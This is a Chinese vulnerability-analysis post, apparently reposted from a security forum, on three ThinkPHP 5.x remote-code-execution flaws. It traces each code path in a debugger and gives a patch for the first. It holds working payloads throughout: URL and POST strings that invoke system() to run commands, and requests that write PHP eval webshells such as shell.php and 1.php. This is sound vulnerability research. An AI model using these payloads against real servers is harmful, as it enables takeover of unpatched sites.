TP5 漏洞分析

RCE1

影响版本

TP 5.0.7 - 5.0.24
TP 5.1.0 - 5.1.30

payload

5.0

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

5.1

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

复现环境 tp 5.1.29+phpstorm+phpstudy+php7.3.9

下载对应版本的TP

composer create-project topthink/think=X.X.X TPX.X.X --prefer-dist
下载好后在文件夹内更改composer.json文件
将require更改为
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "x.x.x"
}
然后composer update

漏洞分析

在App.php的4.2行下断点

访问http://127.0.0.1/thinkphp/tp5.1/public/?s=index/\think\Request/input&filter[]=system&data=whoami

进入routeCheck(),进入path()方法

进入pathinfo()方法,根据我们不同的请求方法会使用不同方法获取url的信息

最终获取的信息就是index/\think\Request/input

接下来判断是否为强制路由,如是则后面报错退出

然后进入check(), 返回一个UrlDispatch的对象, 之后调用的init()方法就是Url.php中的init()方法,最终RouteCheck方法返回一个类

之后进入init()方法中

进入parseUrl()方法

进入parseUrl()方法,该方法将访问的url信息拆分为 module,controller,action

然后传入module类,此时的result为 ,进入module类后 对模块等参数进行验证

然后一路执行到

这里先创建一个闭包函数,传入add()方法,然后将闭包函数作为中间件存入$this->queue[$type][] = $middleware;

然后进入dispatch()方法,使用回调函数调用resolve()方法

进入resolve()方法$middleware = array_shift($this->queue[$type]);将之前的闭包函数赋值给

$middleware,到下面的call_func_array调用之前的闭包函数

执行Dispatch类的run()方法

进入到module类的exec()方法,直到利用反射机制 实现rce

写入shell 
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

修复方法

在module类中增加对控制器合法性的检测

// 是否自动转换控制器和操作名
        $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
        // 获取控制器名
        $controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
        $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

        if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

        $this->controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名

RCE2

影响版本

5.0.0 - 5.0.10

复现环境 phpstorm+phpstudy+php7.3.9

payload

http://127.0.0.1/thinkphp/tp5.0.10/public/index.php/Index/Test/test?username=%0d%0a@eval($_GET[_]);//

创建demo,在application\index\controller下创建Test.php文件

<?php
namespace app\index\controller;
use think\Cache;

class Test
{
    public function test()
    {
        Cache::set("name",input("get.username"));
        return 'Cache success';
    }
}

生成了php文件

<?php
//000000000000s:24:"
@eval($_GET[_]);//";
?>

漏洞分析

在入口处下断点

进入Cache类的set方法

进入init()方法

进入connect()方法,获取$options,最终返回的self::$instance[$name]是file类的实例化

退出后进入file类的set()方法,然后进入getCacheKey()方法,在这将变量$name的值进行md5加密,将前两位作为文件夹名,后面的几位作为文件名,而$name的值就是在开始创建文件中的name

返回set()方法,将url中的数据与\r\n@eval($_GET[_]);//拼接,存入文件中

RCE3

影响版本

5.0-5.0.23  开起debug无论在完整版还是非完整版都会触发
5.0-5.0.12  不需要?s=captcha
5.0.0 5.0.5 5.0.10 5.0.12 这几个版本测试无论在什么情况下都会触发 非完整版 不开启debug,一部分原因是较低版本默认开启debug 但是关闭debug还是会触发
5.0.22 等等版本则需要使用完整版或者开启debug  并且加上?s=captcha

复现环境 phpstorm+phpstudy+php5.5.9+tp5.0.22完整版

payload

http://127.0.0.1/thinkphp/tp5.0.23w/public/index.php?s=captcha

_method=__construct&filter[]=system&method=GET&get[]=whoami (几乎所有版本都通用的payload)

windows下写入shell 
_method=__construct&filter[]=system&method=GET&get[]=powershell -c "echo '<?php eval($_GET[123]);?>' " >> 1.php

漏洞分析

request方法,由于表单请求类型伪装变量为_method,只需要post一个_method变量就可以然后指定其值就能调用任意方法,其中$this->{$this->method}($_POST);中的参数都是可控的,当动态调用__construct时。

$options也是可控的,通过该方法filtermethodget的值

在request类的param方法中,调用get方法

进入get方法,然后进入input方法

进入filterValue方法

call_user_func函数中的参数都可控,造成代码执行。

流程分析1

http://127.0.0.1/thinkphp/tp5.0.22w/public/?s=captcha
_method=__construct&filter[]=system&method=get&get[]=whoami

先进行路由注册,调用了完整核心下的think-captcha/src的helper.php文件,这里的值就会影响self::$rules的值

进入app.php,进入routecheck方法

进入check方法

在check方法中调用method方法,然后动态调用__construct方法,然后对变量进行覆盖

接着将之前路由注册时的值赋值给$rules,接着一路返回到app类,将值赋值给$dispatch

进入exec方法

调用param方法,由于$dispatch["type"]为method,进入method分支

进入get方法,进入input方法,然后进入getfilter方法,将之前method覆盖的值赋值给$filter变量,然后进入filterValue方法

调用call_user_func方法

流程就完成了,造成命令执行

流程分析2

http://127.0.0.1/thinkphp/tp5.0.22w/public/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

前面的流程还是一样的,在param方法中,进入method方法

由于$this->method(true)为true,进入server方法

进入input方法

在input方法中获取传入的值whoami

在getfilter中作用相同,将system赋值给$filter

进入filtervalue中。由于call_user_func的两个变量都为传入的值,可以直接造成命令执行

参考:https://www.anquanke.com/post/id/177173#h2-14

https://xz.aliyun.com/t/3570#toc-0

https://xz.aliyun.com/t/7792#toc-0

https://hack-for.fun/a45.html#%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93

https://xz.aliyun.com/t/3845

https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ

本文来源于: https://xz.aliyun.com/t/9369

相关推荐

ThinkPHP5.x RCE 复现

ThinkPHP5.x RCE 复现 其实去年开始是复现过这个漏洞的,但是总觉得并没有吃透,分析写得漏洞百出,于是再来审计一遍。 漏洞影响范围 5.x < 5.1.31 5.x < 5.0.23 复现环境 php7.3 thinkphp5.

FastAdmin前台文件上传

漏洞通告 FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。 2021年3月28日,360漏洞云漏洞研究员发现,FastAdmin框架存在有条件RCE漏洞,当攻击者具有一定用户权限的前提下,可以实现任意文件

draytek漏洞分析

分析复现一下几个draytek的漏洞 1.CVE-2020-8515 漏洞描述如下: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta,

ELK在渗透测试中的利用与安全配置解析

通过此文章,我将提供有关ELK在攻击利用与安全防护。关于利用ELK 的信息在网上非常罕见。因此,这篇文章只是本人在日常工作和学习中的个人笔记,虽不完善,但可作为学习参考。通过这篇文章希望能为你提供一些在渗透测试期间可能有用的方法。 背景 E

记一次简单的审计

前言 上次在逛先知的时候,无意间看到了L4zily师傅的这篇文章:https://xz.aliyun.com/t/9114 ,所以有了这篇,该版本为金微手机商城 V0.3.8版本 正题 我们直接去官方搭建的演示站,直接访问/admin.ph

记一次SSRF->getshell

这个是2个月前的项目,思路也是挺简单的,还是给兄弟们分享分享,首先还是常规的站点,我们进去看看 可以看见这个网站为thinkphp,当然,当时就很开心,因为自己打tp的站打的太多了,然后再进一步细看。 我们可以得知这个web站点的版本为

vulnstack红队一学习

环境搭建 配置网卡 编辑->虚拟网络编辑器 自定义为仅主机模式 配置win7网络 添加两块网卡,一块为VMnet1(仅主机模式),一块为VMnet8(net模式连通外网) 配置VMnet1网卡 (win7) DNS服务器是windows s

Hvv前排查分析

排查分析 这段时间陆陆续续开始hvv,而这里就简单的介绍一下hvv中对应急响应中可能存在问题进行介绍和分析。 windows排查分析 开机启动项 一般情况下,各个木马等恶意程序,都会在计算机开机的时候自动运行。 所以我们就需要排查一下win

内网渗透--对不出网目标的打法

文章简介 这篇文章使用红日渗透靶场(一)来进行练习对内网不出网机器的渗透,在这里感谢师傅们提供了现成的靶场环境,供我们小白来进行学习和练习。这个靶场设计的比较简单,但是通过这个靶场环境,采用多种手段进行渗透,可以使自己在没有那么多授权的真实

记一次完整的内网渗透经历

故事的起因比较简单,用三个字来概括吧:闲得慌。 因为主要还是想练习练习内网,所以用了最简单粗暴的方法去找寻找目标,利用fofa来批量了一波weblogic,不出一会便找到了目标。 简单的看了下机器环境,出网,没有杀软(后面发现实际是有一个很

JWT攻击学习

JSON Web Token(JWT)是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,经常用在跨域身份验证 cookie /session /jwt 不同点 1.对于一般的cookie,如果我们的加密措施不当,很容易